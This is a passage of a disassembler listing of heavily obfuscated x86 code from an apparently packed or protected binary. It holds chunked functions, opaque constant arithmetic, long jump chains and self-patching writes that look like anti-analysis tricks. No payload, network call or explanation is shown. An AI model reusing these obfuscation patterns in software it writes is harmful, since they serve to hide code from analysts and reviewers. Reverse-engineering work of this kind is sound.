loc_74B5A1 sub_74F69D endp ; sp-analysis failed ; --------------------------------------------------------------------------- test edx, 0B3147848h jmp loc_7457C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752737 loc_74F6BA: ; CODE XREF: sub_752737+4E79j test ebp, ebx jmp loc_746B42 ; END OF FUNCTION CHUNK FOR sub_752737 ; --------------------------------------------------------------------------- push 2EA493C6h pop eax add eax, 107A9DADh and eax, 0E9F02AEDh jmp loc_746D5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74F6D8: ; CODE XREF: sub_74FE55+2D48j mov ecx, edx xchg ecx, [esp+0] loc_74F6DD: ; CODE XREF: _0z4jwtox:loc_7453F5j call sub_75375E push 1E592ACDh pop eax jmp loc_7479D3 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74F6ED: ; CODE XREF: sub_7543C5-49EAj adc ecx, 579FEBEh ; END OF FUNCTION CHUNK FOR sub_7543C5 ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_74F6F3: ; CODE XREF: sub_7474B9-219Dj ; sub_7474B9+7C59j ... jmp loc_750404 ; --------------------------------------------------------------------------- loc_74F6F8: ; CODE XREF: sub_7474B9+D724j ; sub_7543C5+205Fj xchg ebx, [esp+8+var_8] mov ecx, ebx pop ebx pop ebp jmp nullsub_137 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- loc_74F704: ; CODE XREF: _0z4jwtox:loc_757220j mov edi, eax pop eax mov eax, [esp] ; START OF FUNCTION CHUNK FOR sub_74D782 loc_74F70A: ; CODE XREF: sub_74D782:loc_748EE9j push edx call sub_74A5E8 mov eax, 24CC2B1h call sub_746E93 jmp sub_74A63F ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74F71F: ; CODE XREF: sub_74D1F3:loc_75290Cj jz loc_748AE2 jmp loc_746038 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74F72A: ; CODE XREF: sub_7543C5+2065j jz loc_74F6F3 jmp loc_7450EC ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_74F735: ; CODE XREF: _0z4jwtox:0074E955j jbe loc_752DC6 ; =============== S U B R O U T I N E ======================================= sub_74F73B proc near ; CODE XREF: sub_755103:loc_74A917p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch ; FUNCTION CHUNK AT 00747FDF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0074856F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007498F1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00749E60 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00749F3E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074A5D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B764 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074CEBE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074E7E2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007503FE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00750F9A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00751073 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007527E0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00752EE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075388E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753D30 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0075783B SIZE 0000001E BYTES xchg edx, [esp+0] pop edx add esp, 0FFFFFFD0h mov eax, 12h jmp loc_747FDF sub_74F73B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75265A loc_74F74C: ; CODE XREF: sub_75265A+Aj sub eax, ecx pop ecx rol eax, 2 ; END OF FUNCTION CHUNK FOR sub_75265A ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74F752: ; CODE XREF: sub_747C22:loc_74A92Bj xor eax, 8A633C61h push offset loc_745755 jmp loc_74E811 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- pop ecx shr edx, 18h jmp sub_746E37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756496 loc_74F76B: ; CODE XREF: sub_756496-DC3j jz loc_74B2DA jmp loc_75671A ; END OF FUNCTION CHUNK FOR sub_756496 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748538 loc_74F776: ; CODE XREF: _0z4jwtox:loc_749BD2j ; sub_748538:loc_74EA37j ... jmp loc_752255 ; END OF FUNCTION CHUNK FOR sub_748538 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749010 loc_74F77B: ; CODE XREF: _0z4jwtox:0074753Bj ; sub_749010+5C3Cj pop ecx call sub_752F34 loc_74F781: ; CODE XREF: _0z4jwtox:0074F1A1j jmp loc_748F60 ; END OF FUNCTION CHUNK FOR sub_749010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ACFA loc_74F786: ; CODE XREF: sub_74ACFA+5j jmp sub_755F71 ; END OF FUNCTION CHUNK FOR sub_74ACFA ; =============== S U B R O U T I N E ======================================= sub_74F78B proc near ; DATA XREF: sub_7453FB:loc_750D52o arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00745EBA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00745FC9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00746F75 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074723D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00747374 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007479B8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 007482B4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007483D4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074ACEB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074BB82 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074CBCA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D91B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074DCA0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074E34D SIZE 0000001D BYTES ; FUNCTION CHUNK AT 007510FD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 007531D7 SIZE 00000005 BYTES push ecx push 6A58052Bh pop ecx or ecx, 78B72B69h sub ecx, 0C12578Ah or ecx, 70E0D7A2h add ecx, 81551839h mov [ecx], eax jmp loc_74723D sub_74F78B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74F7B1 proc near ; CODE XREF: _0z4jwtox:0075572Cj ; _0z4jwtox:00757667p ; FUNCTION CHUNK AT 00748A7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B77D SIZE 00000018 BYTES xchg esi, [esp+0] pop esi push eax push 874E6267h jmp loc_748A7D sub_74F7B1 endp ; =============== S U B R O U T I N E ======================================= sub_74F7C0 proc near ; CODE XREF: _0z4jwtox:0075223Aj ; _0z4jwtox:007545BCp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074AAE9 SIZE 00000027 BYTES xchg eax, [esp-4+arg_0] pop eax xchg esi, [esp+0] mov ebx, esi jmp loc_74AAE9 sub_74F7C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74F7CE: ; CODE XREF: _0z4jwtox:00748E0Cj jle loc_74E3FA shl ebp, 1Bh push 4208D6C1h ; START OF FUNCTION CHUNK FOR sub_746E37 loc_74F7DC: ; CODE XREF: sub_746E37:loc_748DFFj add edi, 6A3121A9h mov [edi], eax pop edi jmp loc_74A7CA ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- jnz loc_755E72 add eax, ebp jmp loc_74C150 ; --------------------------------------------------------------------------- adc edi, 0B62C8232h jmp loc_74C684 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748773 loc_74F802: ; CODE XREF: sub_748773+463Fj xchg eax, [esp+0] mov esi, eax pop eax or esi, 0E88EC781h xor esi, 0BD5D9A5Bh add esi, ebp add esi, 0B92DAA3Ah jmp loc_755117 ; END OF FUNCTION CHUNK FOR sub_748773 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74F821: ; CODE XREF: sub_747AEC-21F6j jno sub_754DFF or esi, 314D6DD8h loc_74F82D: ; CODE XREF: sub_747AEC:loc_751E78j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_746199 jmp loc_74E891 ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_74F83E proc near ; DATA XREF: _0z4jwtox:00747028o ; FUNCTION CHUNK AT 00749CA9 SIZE 00000005 BYTES lea eax, sub_749115 mov byte ptr [eax], 0C3h jmp loc_749CA9 sub_74F83E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749115 loc_74F84C: ; CODE XREF: sub_749115+1j mov eax, [esp+0] push edx call sub_7490F6 push 3B08A763h jmp loc_74F621 ; END OF FUNCTION CHUNK FOR sub_749115 ; --------------------------------------------------------------------------- loc_74F85F: ; CODE XREF: _0z4jwtox:loc_7547B4j push 895D602Fh pop edx and edx, 0E0294963h or edx, 0DCAF7DD7h xor edx, 8303168Fh sub edx, 0D96D07ADh push offset sub_74DA9D jmp locret_756CFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E451 loc_74F887: ; CODE XREF: sub_74E451+4j cmp dword ptr [ebp-14h], 4 jnz loc_74DE2C mov eax, [ebp+8] or dword ptr [eax-8], 4 jmp loc_757054 ; END OF FUNCTION CHUNK FOR sub_74E451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74F89D: ; CODE XREF: sub_747C22:loc_749375j jg loc_74A931 jmp loc_745D0E ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_74F8A8: ; CODE XREF: _0z4jwtox:0074D33Ej pushf push ecx ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_74F8AA: ; CODE XREF: sub_74A7D8:loc_74FF3Bj cmp edx, ebp jmp loc_75130F ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749254 loc_74F8B1: ; CODE XREF: sub_749254+16j xchg eax, [esp-8+arg_4] jmp loc_745F8D ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- loc_74F8B9: ; CODE XREF: _0z4jwtox:007565CDj js loc_7551D9 ; START OF FUNCTION CHUNK FOR sub_75712E loc_74F8BF: ; CODE XREF: sub_75712E:loc_755979j xor edx, 0E294DF7Dh add edx, 79D4EEBBh xchg edx, [esp+0] jmp loc_754DCB ; END OF FUNCTION CHUNK FOR sub_75712E ; --------------------------------------------------------------------------- loc_74F8D3: ; CODE XREF: _0z4jwtox:loc_7482F0j jnz loc_74506D sbb ebx, 281A7666h jp loc_7487C3 add ebp, 0DDB10A82h cmp ebp, ecx jmp loc_751FD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754FC6 loc_74F8F2: ; CODE XREF: sub_754FC6:loc_74CB6Fj push edx push ecx push 8AD2C1Dh pop ecx add ecx, 62610FEEh or ecx, 4992073Eh sub ecx, 8302625Bh add ecx, 17D8F700h jmp loc_74DA35 ; END OF FUNCTION CHUNK FOR sub_754FC6 ; --------------------------------------------------------------------------- loc_74F917: ; CODE XREF: _0z4jwtox:0075666Cj mov [edi], ebx and ecx, edi ; START OF FUNCTION CHUNK FOR sub_745183 loc_74F91B: ; CODE XREF: sub_745183:loc_75664Bj sub ebx, 0B1107198h add ebx, 0CAC55D7Eh or ebx, 5D0D35CFh loc_74F92D: ; CODE XREF: _0z4jwtox:00748149j add ebx, 0A2A6FE11h xchg ebx, [esp+4+var_4] jmp loc_754571 ; END OF FUNCTION CHUNK FOR sub_745183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_74F93B: ; CODE XREF: sub_7474B9+1EF5j pop esi popf loc_74F93D: ; CODE XREF: sub_7562F7:loc_74ECD6j rol esi, 1Ah jle loc_74870F jmp loc_754BD6 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- or ebp, 8DD37BBFh jmp sub_7462FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C733 loc_74F956: ; CODE XREF: sub_74C733:loc_746482j or edi, 57E55173h sub edi, 0C53330D9h add edi, 65C0EFA0h xchg edi, [esp-4+arg_0] jmp loc_74F010 ; END OF FUNCTION CHUNK FOR sub_74C733 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_74F970: ; CODE XREF: sub_74CBCF:loc_754BFFj sub esi, 80C9E9CEh xor esi, 3E06D228h sub esi, 0DEA8D434h jnz loc_74D6CF loc_74F988: ; CODE XREF: sub_755CFC-A61Aj jmp nullsub_138 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- sub edi, esi jmp loc_74D6C6 ; --------------------------------------------------------------------------- loc_74F994: ; CODE XREF: _0z4jwtox:0074D773j not ebx ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_74F996: ; CODE XREF: sub_7557E7-8086j add eax, 0F93B816Fh sub eax, 0FA325DC6h jns loc_74B974 loc_74F9A8: ; CODE XREF: _0z4jwtox:007480F6j jmp loc_746BFE ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- xchg edx, ebp jmp loc_74D69A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_74F9B4: ; CODE XREF: sub_7462C2+C8BEj cmp ecx, edx jmp loc_755291 ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_74F9BB: ; CODE XREF: sub_7473D1+B43j jle loc_75215A not eax jns nullsub_62 loc_74F9C9: ; CODE XREF: sub_7473D1:loc_74716Bj push offset loc_74CC23 jmp loc_7575BC ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74F9D3: ; CODE XREF: sub_7543C5-1FCCj jg loc_755D08 mov edi, eax jmp loc_74F6ED ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_74F9E0: ; CODE XREF: _0z4jwtox:0075303Bj jbe loc_755458 ; =============== S U B R O U T I N E ======================================= sub_74F9E6 proc near ; CODE XREF: sub_745276:loc_753B93p ; FUNCTION CHUNK AT 007475F5 SIZE 0000000C BYTES xchg edi, [esp+0] pop edi add eax, ebp push esi jmp loc_7475F5 sub_74F9E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745BF7 loc_74F9F2: ; CODE XREF: sub_745BF7:loc_75408Bj push 0 call sub_756123 pop eax cmp dword ptr [eax], 0 jnz loc_745C07 jmp sub_745BF7 ; --------------------------------------------------------------------------- loc_74FA08: ; CODE XREF: sub_745BF7:loc_745C07j push eax push 0 jmp loc_74CA77 ; END OF FUNCTION CHUNK FOR sub_745BF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757314 loc_74FA10: ; CODE XREF: sub_757314-6582j mov ebp, 154E78E7h xor ebp, edx loc_74FA17: ; CODE XREF: sub_757314-658Bj xor ecx, 0DB8F8DD9h add ecx, eax jmp loc_745F88 ; END OF FUNCTION CHUNK FOR sub_757314 ; =============== S U B R O U T I N E ======================================= sub_74FA24 proc near ; CODE XREF: _0z4jwtox:00752CC8j ; sub_747290+F9EAp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00748880 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax popf xchg ecx, [esp-8+arg_4] jmp loc_748880 sub_74FA24 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CCB1 loc_74FA31: ; CODE XREF: sub_74CCB1:loc_7531D2j mov byte ptr [eax], 0C3h jmp nullsub_273 ; END OF FUNCTION CHUNK FOR sub_74CCB1 ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push ebp mov ebp, edx jmp loc_74C88F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_283. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74FA46: ; CODE XREF: sub_74C670+818Bj jmp loc_749FF4 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7476A3 loc_74FA4B: ; CODE XREF: sub_7476A3+8B35j jmp sub_7451D9 ; END OF FUNCTION CHUNK FOR sub_7476A3 ; --------------------------------------------------------------------------- loc_74FA50: ; CODE XREF: _0z4jwtox:0074CA02j ; _0z4jwtox:0074F522j jmp loc_756C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7463AE loc_74FA55: ; CODE XREF: sub_7463AE+10j jmp loc_751027 ; END OF FUNCTION CHUNK FOR sub_7463AE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754729 loc_74FA5B: ; CODE XREF: sub_754729-23A3j jmp loc_754721 ; END OF FUNCTION CHUNK FOR sub_754729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74FA60: ; CODE XREF: sub_7543C5-4F65j jmp loc_753E6C ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_74FA65: ; CODE XREF: _0z4jwtox:00748F39j jmp sub_750638 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7459BC loc_74FA6A: ; CODE XREF: _0z4jwtox:00746B32j ; sub_7459BC:loc_753EF5j add ebx, 5A00E55Ch xchg ebx, [esp+0] jmp sub_745715 ; END OF FUNCTION CHUNK FOR sub_7459BC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7515AA loc_74FA79: ; CODE XREF: sub_7515AA+1382j jmp loc_7523FE ; END OF FUNCTION CHUNK FOR sub_7515AA ; =============== S U B R O U T I N E ======================================= sub_74FA7E proc near ; CODE XREF: sub_748B52+3F4p ; _0z4jwtox:00752EF3j ; FUNCTION CHUNK AT 0074921E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074D41A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F2F7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074F302 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00750229 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007508AF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007550AC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00755528 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00756D2D SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx add eax, 137AC828h mov eax, [eax] jmp loc_7550AC sub_74FA7E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74FA8F proc near ; CODE XREF: sub_74CF35:loc_747321p ; sub_754729-B133p ... mov eax, [ebx+ecx] xor eax, [ebx+ecx+4] cmp eax, 7C61090Eh retn sub_74FA8F endp ; --------------------------------------------------------------------------- loc_74FA9C: ; CODE XREF: _0z4jwtox:00755D84j jmp sub_746E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C72 loc_74FAA1: ; CODE XREF: sub_747C72+Bj xchg edi, [esp-4+arg_0] call sub_74A3AB push 272D491Ah pop eax sub eax, 82EB9C2Bh add eax, 2F312D6Eh call sub_746E93 jmp loc_7571C2 ; END OF FUNCTION CHUNK FOR sub_747C72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74FAC5: ; CODE XREF: sub_7501AF:loc_74587Cj mov ebp, ebx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_74FAC9: ; CODE XREF: sub_74AE46+439Cj jmp loc_74B3FC ; END OF FUNCTION CHUNK FOR sub_74AE46 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_74FACE proc near ; CODE XREF: sub_746DD8-1BAFp ; sub_754DFF:loc_7456F9p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00749709 SIZE 00000026 BYTES push ebp mov ebp, esp jmp loc_749709 sub_74FACE endp ; =============== S U B R O U T I N E ======================================= sub_74FAD6 proc near ; DATA XREF: _0z4jwtox:0074756Fo ; FUNCTION CHUNK AT 00749915 SIZE 00000005 BYTES jz loc_75231D jmp loc_749915 sub_74FAD6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_74FAE1: ; CODE XREF: sub_74A71A:loc_747388j inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_75162C[eax*4] jmp loc_749DA9 ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74FAF3: ; CODE XREF: sub_74D1F3:loc_748AEDj push ecx push 0B38B8CDEh pop ecx xor ecx, 4DCC65E0h add ecx, 1FA077Ah call sub_75299B loc_74FB0B: ; CODE XREF: sub_75309B:loc_751E34j cmp edx, 0E2C6053Ch jmp loc_74FF2B ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74FB16: ; CODE XREF: sub_7501AF-884Cj mov [edi], edx sbb edx, 75CD5712h jo loc_746D41 jmp loc_74C093 ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_74FB29: ; CODE XREF: sub_74C2C9:loc_756965j mov edx, 0E5254649h call sub_74BA29 mov dword ptr ds:loc_74F377+1, eax jmp loc_74FFB3 ; --------------------------------------------------------------------------- loc_74FB3D: ; CODE XREF: sub_74C2C9:loc_7485E0j cmp dword ptr ds:loc_74F377+1, 0 jmp loc_74935F ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; --------------------------------------------------------------------------- jnb loc_7561D3 jmp sub_74CEEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_74FB54: ; CODE XREF: sub_746640+BB4j ; sub_746640+F040j push 0CC530CC8h pop eax xor eax, 64A701E1h or eax, 0FFCBDEB3h add eax, 0BC39D9BBh jmp loc_756724 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- xchg edx, edi ja loc_756DA2 jmp sub_748B44 ; --------------------------------------------------------------------------- sub edx, 0F7291F98h jmp sub_75309B ; =============== S U B R O U T I N E ======================================= sub_74FB89 proc near ; CODE XREF: _0z4jwtox:00745F7Dj ; sub_755340-B7E5p ; FUNCTION CHUNK AT 0074D571 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 007532B1 SIZE 00000016 BYTES xchg eax, [esp+0] pop eax mov eax, [eax+64h] add eax, [ebp-14h] cmp eax, [ebp-0Ch] ja loc_7532B1 jmp loc_74D571 sub_74FB89 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp ds:off_41F0C0 ; --------------------------------------------------------------------------- loc_74FBA7: ; CODE XREF: _0z4jwtox:0074BF81j jmp sub_746CF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748D84 loc_74FBAC: ; CODE XREF: sub_748D84+9j ; _0z4jwtox:loc_74A982j jmp loc_745969 ; END OF FUNCTION CHUNK FOR sub_748D84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745462 loc_74FBB1: ; CODE XREF: sub_745462+Dj jmp loc_749C23 ; END OF FUNCTION CHUNK FOR sub_745462 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746DD8 loc_74FBB6: ; CODE XREF: sub_75079B-95DAj ; sub_746DD8:loc_74A80Cj ... xchg ebp, [esp+0] mov edx, ebp pop ebp jno loc_746DE4 mov eax, [esp-4+arg_0] jmp loc_745228 ; END OF FUNCTION CHUNK FOR sub_746DD8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_267. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74FBCB: ; DATA XREF: sub_7542FD-D5Bo add eax, 31CA105Ch add eax, ebp add eax, 0CF83FFA1h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_7494FE jmp loc_755635 ; --------------------------------------------------------------------------- xchg ebx, [esi] jmp sub_752E09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_74FBF0: ; CODE XREF: sub_7541BA:loc_7491B7j ; sub_7541BA-AFF8j xor eax, 0DD211D7Fh add eax, ebp add eax, 0CDA04D4Ch mov eax, [eax] jmp loc_74F380 ; END OF FUNCTION CHUNK FOR sub_7541BA ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 2 ; --------------------------------------------------------------------------- cmp bh, 0FFh jmp sub_746CC3 ; --------------------------------------------------------------------------- mov eax, 0CE3062ECh push edi push 0D3EBDDC6h pop edi rol edi, 1Ah add edi, 6B579010h jmp loc_7523CA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74FC2B: ; CODE XREF: _0z4jwtox:00748D59j jmp loc_74AD67 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_74FC30 proc near ; CODE XREF: sub_74B74C:loc_74D8A5p var_14 = byte ptr -14h ; FUNCTION CHUNK AT 00749638 SIZE 00000012 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cmp ds:byte_74B290, 0 jnz loc_74BF48 lea edx, [ebp+var_14] mov eax, offset dword_74B294 jmp loc_749638 sub_74FC30 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74FC50: ; CODE XREF: sub_74AAC1+169Cj test ecx, edx jmp loc_74E6B6 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_74FC57: ; CODE XREF: _0z4jwtox:loc_74D58Dj pop esi ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_74FC58: ; CODE XREF: sub_74C0A0:loc_74A734j rol esi, 10h add esi, 654941DDh xor esi, 0F756CF52h add eax, esi jmp loc_749D57 ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_74FC6E: ; CODE XREF: sub_7571A1-9624j jnz loc_74560F loc_74FC74: ; CODE XREF: sub_746F7A+FB8j jmp loc_754F67 ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- and edx, 0AA0E52EDh pop esi shr ebp, 4 jmp loc_74C024 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E693 loc_74FC88: ; CODE XREF: sub_74E693:loc_749C65j jle loc_746ED5 or edx, esi jge loc_7455E6 jmp loc_7554F2 ; END OF FUNCTION CHUNK FOR sub_74E693 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A67 loc_74FC9B: ; CODE XREF: sub_747A67+42E8j mov eax, 6FDE1A91h push ecx call sub_74ADC0 loc_74FCA6: ; CODE XREF: sub_753019+17j jmp loc_7478D3 ; END OF FUNCTION CHUNK FOR sub_747A67 ; --------------------------------------------------------------------------- loc_74FCAB: ; CODE XREF: _0z4jwtox:00755FC9j sub eax, 28BD66F6h xor eax, 731E6962h and eax, 0E7CFCB41h cmp eax, 77110438h jmp loc_753406 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_74FCC8: ; CODE XREF: sub_746640+1237j jns loc_753D76 loc_74FCCE: ; CODE XREF: sub_746640:loc_746443j movzx eax, word ptr [ebp-6] mov [ebp-1Ch], eax loc_74FCD5: ; CODE XREF: sub_746640:loc_748B1Fj ; sub_75422B:loc_757551j mov eax, [ebp-18h] mov eax, [eax+20h] jmp loc_755216 ; END OF FUNCTION CHUNK FOR sub_746640 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74FCE1: ; DATA XREF: sub_752C44-2224o xchg esi, [esp] jmp loc_755F38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74FCE9: ; CODE XREF: sub_747C22:loc_750352j call sub_749B76 loc_74FCEE: ; CODE XREF: sub_747C22+2D1Aj jmp loc_753E99 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_74FCF3: ; 